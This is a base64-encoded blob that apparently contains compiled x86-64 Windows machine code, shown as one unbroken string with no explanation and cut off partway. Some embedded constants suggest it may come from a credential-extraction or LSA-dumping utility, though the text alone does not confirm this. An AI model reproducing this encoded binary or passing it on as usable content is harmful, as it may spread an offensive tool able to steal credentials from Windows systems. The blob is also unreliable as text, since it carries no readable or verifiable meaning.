QCFwHVwjXAQRIvDTI1MJECJdCQgSIvXuQKAAADoY2P6/4XAdBtIjQ0kKAYA6HPF+v9FM8BIjUwkQIvW6JQX+/++FAAAAEyNTCRARIvDiXQkIEiL17kEgAAA6CZj+v+FwHR9SI0N/ycGAOg2xfr/SI1MJEDrYEiNFQQoBgBIi87o3I8BAIXAdVeD+yx1UkiNDQwoBgDoC8X6/0UzwI1T/EiNTwToLBf7/0iNDQkoBgDo8MT6/41z6EUzwIvWSI1PBOgPF/v/SI0NBCgGAOjTxPr/SI1PGEUzwIvW6PUW+/9MjZwk4AAAAEmLWxBJi3MYSYvjX8NIiVwkCEiJdCQQVVdBVkiL7EiB7IAAAAAz/0mL2USL8kiL8U2FwHRaRTPJRTPSRIlNMEE5eBgPhuIBAABIi0YEQYvKSztEAhx1C0iLRgxLO0QCJHQcQf/BQYPCGESJTTBGA1QBMEU7SBgPg68BAADry0OLRAIwSY1YNEgD2YlFwOsQSIXbD4STAQAAx0XAEAAAAEiF2w+EgwEAAEG5GAAAAMdEJCAAAADwRTPASI1N2DPS/xW0UwMAhcAPhF4BAABIi03YSI1FyEUzyUiJRCQgRTPAugyAAAD/FV5TAwCFwA+ELAEAAESLRcBFM8lIi03ISIvT/xU6UwMAIX0wSItNyEiNVhxFM8lFjUEg/xUiUwMAi0Uw/8CJRTA96AMAAHLcSItNyEyNTcAhfCQgTI1F4LsCAAAAx0XAIAAAAIvT/xXHUgMAhcAPhLsAAABIIXwkMEiNRdBIi03YRI1LHkiJRCQoTI1F4CF8JCC6EGYAAOizYvr/hcB0e0iLTdBMjUUwRTPJiV0wjVMC/xWMUgMAhcB0QEGNRsRFM8lIjU3AiUXASIlMJChIjUY8SItN0EUzwDPSSIlEJCD/FY1SAwCL+IXAdSP/FZFaAwBIjQ0SJgYA6w3/FYJaAwBIjQ2DJgYAi9DoyML6/0iLTdD/FZJSAwDrFP8VYloDAIvQSI0N4SYGAOiowvr/SItNyP8VElIDAEiLTdgz0v8V1lEDAEyNnCSAAAAAi8dJi1sgSYtzKEmL40FeX13DSIlcJAhVVldBVEFVQVZBV0iNrCQw/v//SIHs0AIAAGYPbwUlMwcASI01/iYGAEUz7WYPf0UQRDktYxUIAEiNBXgRCABmD28FEDMHAESL4UiJRchIjQ0aJwYASIlFuEyL+mYPf0UwSI0FJycGAGYPbwX3MgcAQYv9SIlFCEWL9WYPf0VQSI0FGScGAGYPbwXpMgcASIlFKEiNBRYnBgBIiUVISI0FKycGAEiJRWhIjQUwJwYASImFiAAAAEiNBTInBgBIiYWoAAAASI0FRCcGAGYPf0VwZg9vBa8yBwBIiYXIAAAASI0FSScGAGYPf4WQAAAAZg9vBaEyBwBIiYXoAAAASI0FgxIFAGYPf4WwAAAAZg9vBZMyBwBIiYUIAQAASI0FNSYGAGYPf4XQAAAAZg9vBYUyBwBIiYUgAQAASI0F/yYGAGYPf4XwAAAAZg9vBXcyBwBIiYUoAQAASI0F6SYGAGYPf4UQAQAAZg9vBWkyBwBIiYVIAQAASI1FAGYPf4UwAQAAZg9vBV4yBwBIiUXYTIltiESJbCRwTIltgEyJbZBMiWwkeEyJbZhMiWwkaEyJbCRgTIltwEyJbbBIiXUASIl1IEiJdUBIiXVgSIm1gAAAAEiJtaAAAABIibXAAAAASImN4AAAAEiJjQABAABIiY1AAQAAZg9/hVABAADHRdALAAAAD4XDAQAARTPJTIlsJCBMjQVAJgYAQYvM6DwV+/+FwA+EKQEAAIsV4hcIAEiNBWPZBwBBi91Bi805EHcUSIvYSIPBUEiDwFBIgfmQAQAAcuhIhdsPhOoAAABIi0MQSI1MJGBIiUXAujgEAABIi0MgSIlFsOjNBAAASIt8JGCFwA+EswAAAEyNhWABAABIi9ZIi8/oEs36/4XAD4SFAAAAi4VwAQAATI1NsItLGEiNVcAPEIVgAQAARItDCL4BAAAATIl8JEBIiYWQAQAASI0FJv3//0SJZCQ4SIlEJDCLQyiJRCQoSIlMJCBIjY2AAQAA8w9/hYABAACJNZsSCADobsH6/4XAdRT/FRBXAwCL0EiNDU8lBgDoVr/6/0SJLXcSCADrFP8V81YDAIvQSI0NoiUGAOg5v/r/i50gAgAA6cMDAACLnSACAADp1wMAAEQ5LUQSCAB1ckUzyUyJbCQgTI0FJyYGAEmL10GLzOjoE/v/hcB0VLo6BAAASI1MJGDowQMAAEiLfCRghcB0PEiNTfBMjQV5MgAASIlMJCBIjRXNKQAASIvPRCvCTI1N0OiS6vr/hcB0BkyNdfDrDEiNDeElBgDoqL76/zPSSI2NoAEAAESNQjDoOkoBAL4BAAAATI1NqESLxkiNlaABAAAzyf8Vb04DAIXAD4j1AgAASItNqEyNRCRYjVYE/xVdTgMAhcAPiMkCAABFM8lIjVWgQbg/AA8AM8n/FShYAwCL2IXAD4iPAgAATItEJFhMjUwkUEiLTaC6BQcAAE2LQBD/FdlXAwCL2IXAD4hOAgAASItUJFhIjQ3jJQYA6AK++v9Ii0wkWEiLSRDo2BH7/0iNDRlmBADo6L36/0yNTYBMiWwkIEyNBdSCBQBJi9dBi8zotRL7/4XAD4SQAAAASItNgEUzwDPS6IOnAQCJhSACAACFwHRjSItMJFBIjUQkaEyNTCR4SIlEJCBMjYUgAgAAi9b/FQZXAwCL2IXAeC5Ii1QkWEyLTCR4RIuFIAIAAEiLTCRQSItSEEyJdCQg6AADAABIi0wkeOljAQAASI0NUyUGAOlxAQAASItVgEiNDbMlBgDoOr36/+ljAQAATI1NkEyJbCQgTI0F4WcFAEmL10GLzOgCEvv/hcAPhcUAAABMjU2QTIlsJCBMjQXegQUASYvXQYvM6N8R+/+FwA+FogAAAEiLTCRQSI2FKAIAAEiJRCQoTI1NiEUzwMdEJCBkAAAASI1UJHD/FXBWAwBEi+CFwHkQi9BIjQ0IJgYA6K+8+v/rUUWL/UQ5rSgCAAB2O0iLVCRYQYvHTIl0JCBIi1IQSI0MQEiLRYhEiwTITI1ICE2NDMlIi0wkUOgSAgAARAP+RDu9KAIAAHLFSItNiP8VWFYDAEGB/AUBAAAPhGD////re0iLVZBIjU3g/xUjWgMASItMJFBIjUQkaEyNTZhIiUQkIEyNReCL1v8V1FUDAIvYhcB4OkiLRZhMjU3gSItUJFhIi0wkUEyJdCQgRIsASItSEOiXAQAASItNmP8V6VUDAEiLTCRo/xXeVQMA6w5IjQ29JAYAi9Do0rv6/0iLTCRQ/xWzVQMA6w6L0EiNDZAlBgDot7v6/0iLTaD/FZlVAwDrDovQSI0N1iUGAOidu/r/SItMJFj/FZ5MAwDrBoudIAIAAEiLTaj/FWxLAwDrBoudIAIAAE2F9nQISYvO6Cu1+v9Ihf90GkiLRwhIiwhIhcl0Bv8V8FIDAEiLz+gYsPr/i8NIi5wkEAMAAEiBxNACAABBX0FeQV1BXF9eXcPMzMxIiVwkCEiJdCQQV0iD7FCL+kiL8TPbSI0Vs/oEADPJRI1DAf8Vt0sDAEiFwHQUTIvASI1UJCBIjQ17JQYA6H4D+/+FwHRdRItEJDwz0ovP/xULUgMASIv4SIXAdDe6EAAAAI1KMP8VhVIDAEiJBkiFwHQSTIvGSIvXuQEAAADona76/4vYhdt1LkiLz/8VNlIDAOsj/xU+UgMASI0NLyUGAOsN/xUvUgMASI0NoCUGAIvQ6HW6+v9Ii3QkaIvDSItcJGBIg8RQX8PMzMxIiVwkCEiJbCQQSIl0JBhXSIPsUEiL2kiL8UGL0EiNDQAmBgBBi+joNLr6/0iLvCSAAAAASIX/D4XHAAAATI1MJChEi8W6GwMAAEiLzv8V2VMDAIXAD4iWAAAASItMJChMjUQkII1XEv8V9lMDAIXAeGFIjQ3rJQYA6OK5+v9Ii0wkII1fEEA4eSF0DUgDy0UzwIvT6PcL+/9IjQ3UJQYA6Lu5+v9Ii0wkIIB5IAB0CkUzwIvT6NYL+/9IjQ3LYQQA6Jq5+v9Ii0wkIP8Vi1MDAOsOi9BIjQ24JQYA6H+5+v9Ii0wkKP8VYFMDAOmTAAAAi9BIjQ0aJgYA6GG5+v/pgAAAAEiLy/8VL0kDAEyLy4vVRIvA6P7g+v9Ii/BIhcB0YkyNRCQwSIvQSIvP6FLh+v+FwHRFSItcJEhIhdt0OzP/OTt2LIvHSAPAi0zDEIXJdBlEi0zDDEWFyXQPTI0EC4vVi0zDCOgwAAAA/8c7O3LUSIvL/xVxUAMASIvO/xVoUAMASItcJGBIi2wkaEiLdCRwSIPEUF/DzMzMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsMEGL6UmL+IvZRIvyg/kGcw1IjRXoNwQASIsU2usHSI0VC7wEAEiNDXy3BQDoe7j6/zP2hdsPhI4BAACD6wEPhGsBAACD6wEPhBEBAACD6wEPhLoAAACD6wF0NYP7AXQfRI1GAYvVSIvP6G4K+/9IjQ1jYAQA6DK4+v/pMgIAAEiNDYonBgDoIbj6/0UzwOvURItHEEiNDbUmBgAPt1cMTAPHRItPFEjR6uj+t/r/RA+3RwRIjVcYTI0NWiYGAEiLz+i2AgAARA+3RwZMjQ3uJgYASIvQSIvP6J8CAABED7dHCEyNDUcmBgBIi9BIi8/oiAIAAEQPt0cKTI0N6CYGAEiL0EiLz+hxAgAA6aEBAABEi0cMSI0NxSUGAA+3VwhMA8dI0erogrf6/0QPt0cESI1XEEyNDd4lBgBIi8/oigEAAEQPt0cGTI0N4iUGAEiL0EiLz+hzAQAA6VMBAABAOHcDD4ZJAQAAvRAAAACNXgGL00iNDU8lBgDoLrf6/4vORTPASP/Bi9VIweEESAPP6EgJ+/9IjQ09XwQA6Ay3+v8PtkcDi/M72HLD6QIBAABIi9VIjQ33JAYASNHqTIvH6Oi2+v/p6AAAAEiNDZgkBgDo17b6/70QAAAAQDh3IHQNRTPAi9VIi8/o7wj7/0iNDYwkBgDos7b6/0A4dyF0DkiNTxBFM8CL1ejPCPv/SI0NxF4EAOiTtvr/OXckD4SPAAAAZjl3RHQZSI1PTIl0JCBMjQ1JDAYARYvGi9Xoj7sAAGY5d2R0Hw+3V2RIjU9sTI0NgtsEAMdEJCABAAAARYvG6Gq7AABmOXcsdBlIjU80iXQkIEyNDRUMBgBFi8aL1ehLuwAAZjl3XHQmD7dHZEiNT2wPt1dcTI0NAiQGAEgDyMdEJCABAAAARYvG6B+7AABIi1wkQEiLbCRISIt0JFBIi3wkWEiDxDBBXsNIi8RIiVgISIloEEiJcBhIiXggQVZIg+wgM/9BD7fYSIvyTIvxZkWFwHRdTYXJdA9Ji9FIjQ0SqQUA6KG1+v9mO/tzREiNfgwPt+uLT/zo+U7//0iL0EiNDQ8lBgDofrX6/4tPBEUzwIsXSQPO6J4H+/9IjQ2TXQQA6GK1+v9IjX8USIPtAXXDSItsJDhIi3wkSA+3w0iLXCQwSI0MgEiNBI5Ii3QkQEiDxCBBXsPMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7CAz9kEPt9hIi/pMi/FmRYXAdGFNhcl0D0mL0UiNDWKoBQDo8bT6/2Y783NISI13EA+364tO/OhJTv//RItHCEiNDXYkBgBIi9DoyrT6/4tOBEUzwIsWSQPO6OoG+/9IjQ3fXAQA6K60+v9IjXYYSIPtAXW/SItsJDhIi3QkQA+3w0iLXCQwSI0MQEiNBM9Ii3wkSEiDxCBBXsPMzEiJXCQQSIl0JBhIiXwkIFVBVEFVQVZBV0iL7EiD7HBMi31YSYvBTItlUEmL2Iv6SIvxTYvPx0XIEgAAAE2LxMdFzBEAAABIi9DHRdAXAAAASI0NMSQGAOggtPr/RTPtSIX2D4RyAQAAhf8PhK8CAABIiX0wSI1eCEiNPUEkBgBBvgMAAABMjS0kNQQASI0NHSQGAOjks/r/SIvO6GQH+/+DOwRzCYsDSYtUxQDrA0iL14M7BEiNBR0kBgBIjQ0uJAYASA9CyOixs/r/i1MEQbgBAAAASItLCOjPBfv/SI0NxFsEAOiTs/r/gzsCD4XQAAAAM8C5QAAAAGaJRdhBD7cEJGZBAwdmAwUrzAcAD7fQZolF2v8VJksDAEiJReBIhcAPhJsAAABJi9RIjU3Y/xW0UAMASI0V/csHAEiNTdj/FaNQAwBJi9dIjU3Y/xWWUAMAD7dDBEyNbchmiUXqTYvmZolF6EiLQwhIiUXwQYtNAEiNVcD/FY1PAwCFwHgkQYtNAEyNRdiJRCQoSI1V6EiNRcBBuQAQAABIiUQkIOgBNP//SYPFBEmD7AF1wEiLTeD/FVFKAwBMi2VQTI0t7jMEAEiDxhhIg8MYSINtMAEPhbf+///pRQEAAEiF2w+EPAEAAEiNDcYiBgDojbL6/0iLy+gNBvv/g3sIBHMQi0MISI0NqTMEAEiLPMHrB0iNPawiBgCDewgESI0NuSIGAEiNBcoiBgBIi9dID0LBSIvI6Eey+v+LUwxIjXsQSIvPQbgBAAAA6GIE+/9IjQ1XWgQA6Cay+v+DewgCD4W/AAAAQQ+3BCS5QAAAAGZBAwdmAwXDygcAD7fQZkSJbdhmiUXa/xW5SQMASIlF4EiFwA+EiwAAAEmL1EiNTdj/FUdPAwBIjRWQygcASI1N2P8VNk8DAEmL10iNTdj/FSlPAwAPt0MMQb4DAAAAZolF6kiNXchmiUXoSIl98IsLSI1VMP8VI04DAIXAeCKLC0yNRdiJRCQoSI1V6EiNRTBBuQAQAABIiUQkIOiZMv//SIPDBEmD7gF1xEiLTeD/FelIAwBIjQ2CWQQA6FGx+v9MjVwkcEmLWzhJi3NASYt7SEmL40FfQV5BXUFcXcPMzMxIiVwkCEiJdCQQVVdBVkiNbCTgSIHsIAEAAEUz9kiL+ovxRIl1WDPSRIl18EiNTfhFjUYo6Js8AQBIjQU0AAgATIl0JGBMjUwkcEiJRZhMjQX3tAQASIlFiEiL10yJdCR4i85MiXWQTIl1gEyJdCRwTIl0JCDongX7/0iLXCRwhcB0DUiL00iNTaD/FYROAwBEOTW9AwgAD4U3AQAARTPJTIl0JCBMjQVoFgYASIvXi87oYgX7/4XAD4QWAQAAixUICAgASI0FOckHAEmL3kmLzjkQdxFIi9hIg8FQSIPAUEiD+VBy60iF2w+ElgMAAEiLQxBIjUwkeEiJRZC6OAQAAEiLQyBIiUWA6Pb0//+FwA+EbwMAAIE9rAcIAPAjAABIjQXVFAYASItMJHhIjRWBIAYASA9C0EyNRbDoKL36/4XAdHeLRcBMjU2Ai0sYSI1VkA8QRbBEi0MISIl8JEBIiUXgSI0Flv7//4l0JDhIiUQkMItDKIlEJChIiUwkIEiNTdDzD39F0McFwgIIAAEAAADombH6/4XAdRT/FTtHAwCL0EiNDSogBgDoga/6/0SJNZ4CCADpygIAAP8VG0cDAIvQSI0NeiAGAOhhr/r/6bECAABIjUWgSPfbTI1MJGhBuAEAAABIG8lIjVXwSCPI/xUuPwMAhcAPiIcCAABIi0wkaEyNRCRYugwAAAD/FRk/AwCFwA+IXwIAAEiLTCRYRTPASIPBEEiL0f8VZEwDAEyLRCRYSI0NwCAGAEmNUBDo6676/0iLTCRYTDlxQHQRSI0NBRIGAOjUrvr/SItMJFhIi0lA6KoC+/9IjQ3/mwQA6Lqu+v9EiXVY6awBAACFwHQLPQUBAAAPhcgBAABBi/6FyQ+EhwEAAEiLTCRQRTPAi8dIa9g4SAPLSIvR/xXhSwMASItUJFBIjQ11IAYASAPTTI1CEOhlrvr/SItMJFBMOXQLIHQRSI0NfhEGAOhNrvr/SItMJFBIi0wLIOgiAvv/SI0Nd5sEAOgyrvr/SItUJFBMjUwkYEiLTCRoSAPTQbgHAAAA/xWAPwMAhcAPiOMAAABIi0wkUEyNDSwgBgBIi0QkWEgDy0iJTCQoSIPAEEiLTCRgRTPASIlEJCCLEUiLSQjoW/n//0iLVCRYTI0NByAGAEiLTCRQSIPCEEgDy0iJVCQoSIlMJCBFM8BIi0wkYItRGEiLSSDoJfn//0iLTCRQTI0N4R8GAEiLRCRYSAPLSIlMJChIg8AQSItMJGBFM8BIiUQkIIsRSItJEOjw+P//SItUJFhMjQ28HwYASItMJFBIg8IQSAPLSIlUJChIiUwkIEUzwEiLTCRgi1EYSItJKOi6+P//SItMJGD/FTc+AwDrDovQSI0NlB8GAOgbrfr//8c7fVAPgnn+//9Ii0wkUP8VET4DAEiLTCRoSI1FUEUzyUiJRCQgTI1EJFBIjVVY/xV5PgMAi01QhckPhSn+//89GgAAgHQShcB0DovQSI0Nyh8GAOjBrPr/SItMJFj/FcI9AwBIi0wkaP8VlzwDAEyNnCQgAQAAM8BJi1sgSYtzKEmL40FeX13DzEiJXCQISIl0JBBIiXwkGFVIi+xIgeyAAAAASIvZQYvxSI1N4EmL+P8VR0oDAEiL00iNTfD/FTpKAwBIi1UwTI1NuEG4BAAAAEiNTfD/FTI8AwCL2IXAD4gXAQAASItNuEiNVeCF9nViTI1FsP8Vej0DAIvYhcAPiO0AAABIi0WwSIXAD4TgAAAADxAAjU5A8w9/Bw+3VwL/FbdDAwBIiUcISIXAdBVIi1WwSIvIRA+3RwJIi1II6HkwAQBIi02w/xXXPAMA6Z8AAABMjU3AQbgCAAAA/xUaPQMAi9iFwA+IhQAAAEiLTcBIjUXQTI1NyEiJRCQgTI1F2EiNVbD/FQE9AwCL2IXAeFZIi0WwSIXAdD4PEAC5QAAAAPMPfwcPt1cC/xUsQwMASIlHCEiFwHQVSItVsEiLyEQPt0cCSItSCOjuLwEASItNsP8VTDwDAEiLTchIhcl0Bv8VPTwDAEiLTcD/FRM7AwBIi024/xUJOwMATI2cJIAAAACLw0mLWxBJi3MYSYt7IEmL413DzMxIi8RIiVgISIloEEiJcBhXQVRBVUFWQVdIg+xQSIvaRYvxSI1QyEGL8EyL+f8VUkgDAEUz7YXAD4hFAgAARA+3RCRATI0lWqUFAEiLRCRISdHoZkaJbED+SIt8JEiLA0iDxwKD6AEPhFoBAACD+AF0YIsTSI0Nuh4GAOiBqvr/QbgAACAAi9ZIi8voofz6/0iNDZZSBADoZar6/0WF9g+E0wEAAEiNBWkeBgBMi89FM8BIiUQkIEiNFcetBABIjQ3gHQYA6Htu//9Ii+vpXwEAAEiNDawdBgDoI6r6/0SLQwRMjWsMSYvVQbkBAAAASYvP6Jrt/v+LUwRMjQ2kHQYARTPARIl0JDBJi81IiXwkKOh7Z///RYX2D4RZAQAAi0MESI1rDItzCEiNFV0rBQBIA+hIjQ1rHQYASI0FLKcFAEyLz0UzwEiJRCQg6PRt//9Mi/BIhcB0QESLSwRNi8WL1kiJRCQoSIvN6H5c+v+FwEiNHSWkBQBJi9RIjQ0zHQYASA9F002Lxuhzqfr/SYvO/xX2QAMA6wdIjR39owUASI0FfqUFAEyLz0UzwEiJRCQgSI0V1CoFAEiNDeUcBgDogG3//+txSI0NJx0GAOguqfr/g8b8SI1rBESLxkiL1UUzyUmLz+im7P7/QbgAACAAi9ZIi83oNvv6/0iNDStRBADo+qj6/0WF9nRsSI0FAh0GAEyLz0UzwEiJRCQgSI0V+BwGAEiNDXkcBgDoFG3//0iNHWWjBQBIi/hIhcB0OEiF7XQqhfZ0JkSLxkiL1UiLyOj+hvr/hcBIjQ0VHQYATIvHTA9F40mL1OiSqPr/SIvP/xUVQAMASI1MJED/FXpGAwBMjVwkUEmLWzBJi2s4SYtzQEmL40FfQV5BXUFcX8NIi8RIiVgISIlwEEiJeBhMiWAgVUFWQVdIjWihSIHs4AAAAA8QBeocBgCL8jPS8g8QDe4cBgBNi/hIi/kPKUWnSI1Nv/IPEU23RI1CSkWL8bsBAADA6KozAQBFM+RIjVWXSIvPZkSJZQf/FXVFAwCFwA+InAAAAEiLRZ9IjU2XDxBAAg8RRb0PEEgSDxFNzQ8QQCIPEUXdDxBIMg8RTe3yDxBAQvIPEUX9/xWtRQMAM9JEiWUXRY1EJChIjU0f6EEzAQBIjUUXRYvOTI1Fl0iJRCQgSI1Vp0mLz+jx+v//i9iFwHggRA+3RZdEi85Ii1WfSIvP6Gf8//9Ii02f/xXpPgMA6w6L0EiNDSYcBgDoTaf6/0yNnCTgAAAAi8NJi1sgSYtzKEmLezBNi2M4SYvjQV9BXl3DzMxIiVwkCEiJdCQQVVdBVkiL7EiB7IAAAABIg2U4AEyNBQBgBQBIg2UwAEUzyUiDZCQgAEiL2ov56NT7+v9Ig2QkIABMjQVjHAYARTPJSIvTi89Ei/Dot/v6/0iDZCQgAEyNTTBMjQXaqgQASIvTi8+L8Oia+/r/SINkJCAATI1NOEyNBVXMBABIi9OLz+h/+/r/SItdOEiF23RuSIvTSI1NsP8VZUQDAEiNVcBIjU2w/xX/QwMAhcB4OUiNDZROBADoY6b6/0iNTcDoCvr6/0iNDecbBgDoTqb6/0yLRTBIjU3ARIvOQYvW6Nv9///pIwEAAEyLw0iNDQAcBgCL0Oglpvr/6Q0BAABIjQ1dHAYA6BSm+v+DZdAASI1N2L8oAAAAM9JEi8fooTEBAEiLXTBIjUXQSIvLSIlEJCBEi85MjUWwSI0VYxwGAOhK+f//hcB4M0iLTbjoffn6/0iNDfJNBADowaX6/0iLTbhEi85Mi8NBi9boT/3//0iLTbj/FTE9AwDrDovQSI0NThwGAOiVpfr/SI0N2hwGAOiJpfr/g2XQAEiNTdhMi8cz0ugbMQEASI1F0ESLzkyNRbBIiUQkIEiNFewcBgBIi8voyPj//4XAeDNIi0246Pv4+v9IjQ1wTQQA6D+l+v9Ii024RIvOTIvDQYvW6M38//9Ii024/xWvPAMA6w6L0EiNDcwbBgDoE6X6/0yNnCSAAAAAM8BJi1sgSYtzKEmL40FeX13DzEiLxEiJWAhIiXAQV0iD7HBIg2AYAEyNBdhdBQBIg2CoAEUzyUiL2ov56LL5+v9Ig2QkIABMjQVBGgYARTPJSIvTi8/omPn6/0iDZCQgAEyNjCSYAAAATI0FV08FAEiL04vPi/Dod/n6/4XAD4SbAAAASINkJCAATI2MJJAAAABMjQWOqAQASIvTi8/oUPn6/4NkJEAASI1MJEgz0kSNQijo9y8BAEiLlCSYAAAASIXSdCFIi4wkkAAAAEiNRCRARIvOSIlEJCBMjUQkMOiX9///6wW4AQAAwIXAeCIPt1QkMEG4AQAQAEiLTCQ46Df2+v9Ii0wkOP8ViDsDAOsOi9BIjQ2lGwYA6Oyj+v9MjVwkcDPASYtbEEmLcxhJi+Nfw0iJXCQIVVdBVEFWQVdIjWwkkEiB7HABAABFM//HRCRALVx8L0yNTCRYRIm9sAAAAEyNBYUwBQBMiXwkIEiL2sdEJEQtXHwvi/nHhbgAAAD//w9g6Gj4+v+FwA+EawMAAEyNTCRQTIl8JCBMjQVDaAUASIvTi8/oRfj6/4XAD4Q/AwAATIt0JFBMjUwkUEyNBZgbBgBMiXQkIEiL04vP6B34+v9IjQU6XAQASIvTTI1NiEiJRCQgTI0FfxsGAIvP6Pz3+v9MjUwkeEyJfCQgTI0FL8gEAEiL04vP6OH3+v+FwA+E0gIAAEiLTCR4SIPK/0j/wmZEOTxRdfZIg/ogQYvHQbwQAAAAD5TAhcAPhJ4CAABEi8hIjVQkeEWLxOji8/r/hcAPhIYCAABIi32ITI1MJGBIi0wkWEyNRCRASIvX/xWmPwMAhcAPiFICAABIjU0A/xUkPwMARY1EJPRIjZWwAAAASI1NAP8VBj8DAEGNXCT4RIvDSI1UJEBIjU0A/xXvPgMARIvDSI1UJGBIjU0A/xXdPgMASI1NAP8Vyz4DAEiNRCRoRIlkJDBIiUQkKEyNTVhFi8REiWQkIEiNVCR4uQOAAADo4UT6/4XAD4QEAgAATI1EJGhIjVQkSEiNTCRA6A0CAABMjUQkaEiNVZBIjUwkYOj6AQAASItMJFhIjYW4AAAASIlEJDBFjUQk9kiNRZhMi89IiUQkKEmL1kiNRCRISIlEJCD/FbU+AwCFwA+IYAEAAEiLRZBIO0WYD4VJAQAASItEJEhBvmQAAMBBi89Bi96JjbAAAACD+QQPgxoBAABJA8REiWWoTI1EJGhIiUQkSEiNVaBIjUwkSOhwAQAAi4WwAAAASI1NwEiJTCQ4SI0V8iAEAEiNTbBMi89IiUwkMEiNTfBEiwSCSItUJFBIiUwkKEiNTaBIiUwkIEiLTCRY/xUQPgMAi9iFwA+IhQAAAEiLVCRQSI0NchkGAOjxoPr/TI1F0EiNVCRoSI1NsP8VajIDAEyNReBIjVQkaEiNTcD/FVcyAwBIjQ1gGQYA6L+g+v9FM8BIjU3QQYvU6ODy+v9IjQ3VSAQA6KSg+v9IjQ1RGQYA6Jig+v9FM8BIjU3gQYvU6Lny+v9IjQ2uSAQA6H2g+v9Ii0QkSIuNsAAAAEj/wP/BSIlEJEiJjbAAAABBO94PhN3+//+F23lUi9NIjQ0gGQYA6xtIjQ2nGQYA6ztIjQ1eGgYA6wdIjQ3lGgYAi9DoKqD6/+snSI0NZRsGAOsZSI0N/BsGAOsQSI0NYxwGAOsHSI0NyhwGAOgBoPr/M8BIi5wkoAEAAEiBxHABAABBX0FeQVxfXcPMzMxIiVwkCFdIg+wgSYvYM8BIiQJMjUQkQEiL+kiL0/8VPTEDAEiNUwdMi8dIjUwkQP8VKzEDAEiLXCQwSIPEIF/DSIlcJAhIiXQkEFVXQVZIjawkEP///0iB7PABAABFM/bHRaBguk/KSIvaRIm1KAEAAIv5TIl0JDgz0kyJdCRoSI1Nw0yJdCQwQbgdAQAARIh1wsdFpNxGbHrHRagDPBeBx0WslMA99sdFsHwcFejHRbR0Efuix0W4HZGggcdFvNSzeGFmx0XAAQDouioBAEyNTCRwTIl0JCBMjQXhYwUASIvTi8/o4/P6/4XAD4TuAwAASItUJHBIjU2I/xXIPAMATI1MJDBMiXQkIEyNBQfDBABIi9OLz+ix8/r/SItEJDBIjRX9RAQASIXASI1MJHhID0XQ/xWPPAMASI1UJHhIjQ3TGwYA6Jqe+v9IjVWISI0N6xsGAOiKnvr/TI1MJDBMiXQkIEyNBZUnBQBIi9OLz+hX8/r/QY12EIXAdEBIi1QkMEiNjeAAAAD/FTk8AwBIjVWgSI2N4AAAAP8V6C0DAIvYhcAPiaUAAACL0EiNDbUbBgDoLJ76/+mKAAAATI1MJDBMiXQkIEyNBULDBABIi9OLz+j08vr/hcB0WEiLfCQwSIPI/0j/wGZEOTRHdfZIg/ggQYvOD5TBhcl0FESLyUiNVaBIi89Ei8boAe/6/4vIi8H32Bvb99OB42oAAMCFyXUkSIvXSI0N2xsGAOiynfr/6xNIjQ1tHAYA6KSd+v/GRcEBQYvehdsPiJwCAABIjQ3KHAYA6Imd+v9FM8BIjU2gi9boq+/6/0iNDYCPBADob536/0UzyUiNVCRISI1MJHhFjUEx/xU8NwMAhcAPiDsCAABIi0wkSEiNhSABAABBuQEAAABIiUQkIEyNRCRASI2VKAEAAP8V6zYDAIv4hcB5E4vQSI0NvB8GAOgTnfr/6eABAABBi95EObUgAQAAD4bFAQAASItMJEBIjRUOHgQAi8NIg8EIQbABSI00QEiNDPH/Fcc6AwCEwA+FjAEAAEiLVCRASI0NIxwGAEiDwghIjRTy6Lqc+v9Ii1QkQEyNRCRYSItMJEhIg8IISI0U8v8VkTYDAIXAD4hAAQAASI0NEhwGAOiJnPr/SItMJFjoY/D6/0iNDaREBADoc5z6/0yLRCRYTI1MJFBIi0wkSLoAAgAA/xUVNgMAhcAPiOEAAABIi0wkUEiNRCRoTI1MJDhIiUQkIEyNRYi6AQAAAP8V4jUDAIXAD4ibAAAASItEJDhIjQ2+GwYAixDoE5z6/0iLRCQ4TI1MJGBIi0wkULqAAAAARIsA/xXCNQMAhcB4QUiLTCRgTI1FoLoSAAAA/xXqNQMAhcB4DkiNDacbBgDozpv6/+sOi9BIjQ33GwYA6L6b+v9Ii0wkYP8VnzUDAOsOi9BIjQ1cHAYA6KOb+v9Ii0wkOP8VlDUDAEiLTCRo/xWJNQMA6w6L0EiNDaYcBgDofZv6/0iLTCRQ/xVeNQMA6w6L0EiNDQsdBgDoYpv6/0iLTCRY/xVTNQMA6w6L0EiNDWAdBgDoR5v6///DO50gAQAAD4I7/v//SItMJED/FSo1AwCB/wUBAAAPhNL9//9Ii0wkSP8VAzUDAOsci9BIjQ1AHgYA6Aeb+v/rDEiNDaIeBgDo+Zr6/0yNnCTwAQAAM8BJi1sgSYtzKEmL40FeX13DzMzMSIlcJAhIiXQkEFVXQVRBVkFXSI1sJMlIgezwAAAARTPkx0WPYLpPyjPARIllf0yNTedMiWWfTI0Fe18FAEyJZd9MiWWHSIvaRIhlx4vxSIlFyL8+AADAiUXQZolF1IhF1kyJZCQgx0WT3EZsesdFlwM8F4HHRZuUwD326ETv+v+FwA+EKAUAAEiLVedIjU0f/xUqOAMATI1Nh0yJZCQgTI0Far4EAEiL04vO6BTv+v9Ii0WHSI0VYUAEAEiFwEiNTQ9ID0XQ/xX0NwMASI1VD0iNDTkXBgDoAJr6/0iNVR9IjQ1RFwYA6PCZ+v9MjU2HTIlkJCBMjQX8HQYASIvTi87ovu76/0mDzv+FwHQ5SItVh0iNTe//FaQ3AwBIjVX/SI1N7/8VVikDAIv4hcAPibQAAACL0EiNDdMdBgDompn6/+mhAAAATI1Nh0yJZCQgTI0FaR4GAEiL04vO6GPu+v+FwHUsTI1Nh0yJZCQgTI0FWx4GAEiL04vO6EXu+v+FwHUOSI0NBh8GAOhNmfr/61dMi32HSYvGSP/AZkU5JEd19kiD+CBBi8wPlMGFyXQXRIvJSI1V/0mLz0G4EAAAAOhD6vr/i8iLwffYG//314HnagAAwIXJdQ9Ji9dIjQ39HQYA6PSY+v9MjU2HTIlkJCBMjQVAHwYASIvTi87owu36/4XAdDlIi1WHSI1N7/8VrDYDAEiNVY9IjU3v/xVeKAMAi9iFwA+JtAAAAIvXSI0NGx8GAOiimPr/6aEAAABMjU2HTIlkJCBMjQWxHwYASIvTi87oa+36/4XAdS9MjU2HTIlkJCBMjQWjHwYASIvTi87oTe36/4XAdRFIjQ1OIAYA6FWY+v9Bi9zrVEiLdYdJ/8ZmRjkkdnX2SYP+IEGLzA+UwYXJdBdEi8lIjVWPSIvOQbgQAAAA6Evp+v+LyIvB99gb2/fTgeNqAADAhcl1D0iL1kiN